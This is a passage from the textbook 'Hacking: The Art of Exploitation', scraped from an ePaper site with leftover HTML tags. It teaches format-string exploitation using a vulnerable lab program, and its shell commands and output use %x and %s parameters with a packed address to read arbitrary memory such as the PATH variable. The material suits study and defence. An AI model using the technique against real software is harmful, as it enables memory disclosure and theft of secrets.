26.07.2018 Views

hacking-the-art-of-exploitation

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

0x353<br />

Reading from Arbitrary Memory Addresses<br />

The %s format parameter can be used to read from arbitrary memory addresses.<br />

Since it’s possible to read <strong>the</strong> data <strong>of</strong> <strong>the</strong> original format string, p<strong>art</strong> <strong>of</strong> <strong>the</strong><br />

original format string can be used to supply an address to <strong>the</strong> %s format<br />

parameter, as shown here:<br />

reader@<strong>hacking</strong>:~/booksrc $ ./fmt_vuln AAAA%08x.%08x.%08x.%08x<br />

The right way to print user-controlled input:<br />

AAAA%08x.%08x.%08x.%08x<br />

The wrong way to print user-controlled input:<br />

AAAAbffff3d0.b7fe75fc.00000000.41414141<br />

[*] test_val @ 0x08049794 = -72 0xffffffb8<br />

reader@<strong>hacking</strong>:~/booksrc $<br />

The four bytes <strong>of</strong> 0x41 indicate that <strong>the</strong> fourth format parameter is<br />

reading from <strong>the</strong> beginning <strong>of</strong> <strong>the</strong> format string to get its data. If <strong>the</strong> fourth<br />

format parameter is %s instead <strong>of</strong> %x, <strong>the</strong> format function will attempt to print<br />

<strong>the</strong> string located at 0x41414141. This will cause <strong>the</strong> program to crash in a segmentation<br />

fault, since this isn’t a valid address. But if a valid memory address<br />

is used, this process could be used to read a string found at that memory<br />

address.<br />

reader@<strong>hacking</strong>:~/booksrc $ env | grep PATH<br />

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games<br />

reader@<strong>hacking</strong>:~/booksrc $ ./getenvaddr PATH ./fmt_vuln<br />

PATH will be at 0xbffffdd7<br />

reader@<strong>hacking</strong>:~/booksrc $ ./fmt_vuln $(printf "\xd7\xfd\xff\xbf")%08x.%08x.%08x.%s<br />

The right way to print user-controlled input:<br />

????%08x.%08x.%08x.%s<br />

The wrong way to print user-controlled input:<br />

????bffff3d0.b7fe75fc.00000000./usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/<br />

usr/games<br />

[*] test_val @ 0x08049794 = -72 0xffffffb8<br />

reader@<strong>hacking</strong>:~/booksrc $<br />

Here <strong>the</strong> getenvaddr program is used to get <strong>the</strong> address for <strong>the</strong> environment<br />

variable PATH. Since <strong>the</strong> program name fmt_vuln is two bytes less than<br />

getenvaddr, four is added to <strong>the</strong> address, and <strong>the</strong> bytes are reversed due to <strong>the</strong><br />

byte ordering. The fourth format parameter <strong>of</strong> %s reads from <strong>the</strong> beginning<br />

<strong>of</strong> <strong>the</strong> format string, thinking it’s <strong>the</strong> address that was passed as a function<br />

argument. Since this address is <strong>the</strong> address <strong>of</strong> <strong>the</strong> PATH environment variable,<br />

it is printed as if a pointer to <strong>the</strong> environment variable were passed to printf().<br />

Now that <strong>the</strong> distance between <strong>the</strong> end <strong>of</strong> <strong>the</strong> stack frame and <strong>the</strong> beginning<br />

<strong>of</strong> <strong>the</strong> format string memory is known, <strong>the</strong> field-width arguments can be<br />

omitted in <strong>the</strong> %x format parameters. These format parameters are only needed<br />

to step through memory. Using this technique, any memory address can be<br />

examined as a string.<br />

172 0x300

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!